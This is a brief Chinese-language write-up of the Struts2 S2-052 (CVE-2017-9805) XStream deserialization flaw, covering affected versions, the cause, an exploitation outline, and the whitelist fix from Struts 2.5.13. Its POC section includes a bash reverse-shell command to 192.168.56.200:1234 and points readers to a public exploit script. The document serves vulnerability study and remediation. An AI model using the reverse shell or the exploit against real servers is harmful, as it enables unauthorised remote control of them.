漏洞名称
S2-052 CVE-2017-9805 远程代码执行
利用条件
Struts 2.1.6 – Struts 2.3.33
Struts 2.5 – Struts 2.5.12
漏洞原理
Struts2 REST插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击。
由于rest-plugin会根据URI扩展名或Content-Type来判断解析方法,所以我们只需要修改orders.xhtml为orders.xml或修改Content-Type头为application/xml,即可在Body中传递XML数据。
漏洞利用命令执行poc
注意一 替换 Content-Type头的内容字段为application/xml
注意二 增加xml字段内容
你要执行的代码
创建文件
touch/tmp/test.txt
写入内容到文件
bash-cecho xiaoxin > /tmp/test.txt
反弹shell
bash -c bash -i >& /dev/tcp/192.168.56.200/1234 0>&1
工具反弹shell
https://github.com/Vancir/s2-052-reproducing
更改exploit.py中的url地址
修复建议
struts2.5.13中,按照xstream给出的缓解措施( http://x-stream.github.io/security.html ),增加了反序列化时的白名单:
protected void addDefaultPermissions(ActionInvocation invocation, XStream stream) { stream.addPermission(new ExplicitTypePermission(new Class[]{invocation.getAction().getClass()})); if (invocation.getAction() instanceof ModelDriven) { stream.addPermission(new ExplicitTypePermission(new Class[]{((ModelDriven) invocation.getAction()).getModel().getClass()})); } stream.addPermission(NullPermission.NULL); stream.addPermission(PrimitiveTypePermission.PRIMITIVES); stream.addPermission(ArrayTypePermission.ARRAYS); stream.addPermission(CollectionTypePermission.COLLECTIONS); stream.addPermission(new ExplicitTypePermission(new Class[]{Date.class}));}
但此时可能会影响以前代码的业务逻辑,所以谨慎升级,也没有特别好的办法,就是逐一排除老代码,去掉不在白名单中的类。
参考文章
https://github.com/Vancir/s2-052-reproducing
https://blog.csdn.net/weixin_41082546/article/details/102212059